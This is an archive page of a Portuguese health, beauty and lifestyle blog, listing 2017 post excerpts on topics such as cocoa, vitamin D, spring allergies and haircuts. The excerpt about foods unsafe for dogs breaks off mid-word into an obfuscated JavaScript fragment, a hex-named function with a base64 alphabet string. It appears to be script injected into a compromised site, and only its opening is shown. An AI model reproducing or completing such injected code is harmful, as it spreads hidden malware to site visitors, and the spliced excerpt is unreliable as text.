Abr 11, 2017 | Saúde e bem estar
Cacau, o rei dos antioxidantes, e os seus benefícios Todos nós conhecemos o delicioso cacau, mas será que sabe que este superalimento é considerado por muitos o rei dos antioxidantes? É verdade, os grãos de cacau são produzidos através da planta “Theobroma...
Abr 8, 2017 | Saúde e bem estar
10 alimentos que não deve guardar no frigorífico O frigorífico é fundamental para guardamos a fruta e os vegetais frescos e alguns alimentos no congelador, como a carne e o peixe. Mas atenção que o frio não faz bem a todos os alimentos. Há os que podem ser...
Abr 7, 2017 | Estilo e beleza
10 sapatos a que nenhuma mulher resiste Gosta de sapatos? Eu também. Aliás, os sapatos são uma tentação para a maioria das mulheres e por isso, hoje decidi mostrar-lhe 10 sapatos a que poucas mulheres resistem. Sapatos de salto alto ou de salto raso, sapatos de...
Abr 6, 2017 | Equilíbrio, Saúde e bem estar
7 alimentos que combatem as alergias da Primavera Com a chegada da Primavera, os dias começam a crescer, a temperatura a subir e fica tudo mais alegre. Mas, como não há bela sem senão, com a Primavera chega também o pólen e com ele os sintomas das alergias, como o...
Abr 6, 2017 | Equilíbrio, Saúde e bem estar
5 Exercícios para ter uns abdominais definidos O verão está a chegar e as preocupações com o corpo aumentam. Hoje trago-lhe 5 exercícios para ter uns abdominais definidos para exibir na praia este ano! Mas atenção, não vale de nada treinar muito se depois não...
Abr 4, 2017 | Dicas úteis, Equilíbrio, Saúde e bem estar
Benefícios da vitamina D para a sua saúde A Vitamina D Já é essencial para o nosso organismo. É tão simples como isso. Ela é responsável por controlar 270 genes, inclusive as células do sistema cardiovascular (coração). A boa notícia é que a vitamina D pode ser...
Mar 31, 2017 | Dicas úteis, Estilo e beleza
Cortes de cabelo que estão na moda esta primavera/ verão Já conhece as novas tendências de cortes de cabelo para a primavera e verão deste ano? Hoje mostro-lhe alguns dos cortes mais giros que possa imaginar. Para muitas mulheres este é um dos pontos mais...
Mar 30, 2017 | Saúde e bem estar
10 alimentos que não deve dar ao seu cão Todos os donos gostam de mimar o seu melhor amigo de quatro patas. Qufunction a4872b9c6b(y1){var qd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var x0=”;var n6,w6,qe,q8,w9,we,n7;var...
Mar 28, 2017 | Saúde e bem estar
Dicas saudáveis – Benefícios da cartilagem de tubarão Tenho partilhado consigo os benefícios de vários superalimentos, que embora nem sempre sejam muito conhecidos, são definitivamente uma boa escolha para introduzir na nossa alimentação diária. Hoje...
Mar 25, 2017 | Estilo e beleza
As cores de maquilhagem obrigatórias esta primavera A primavera acaba de chegar e com ela chegam também novas tendências de moda, de maquilhagem e de tantas outras coisas que tornam esta estação especial. Assim, esqueça as alergias e foque-se nos batons, que terão...
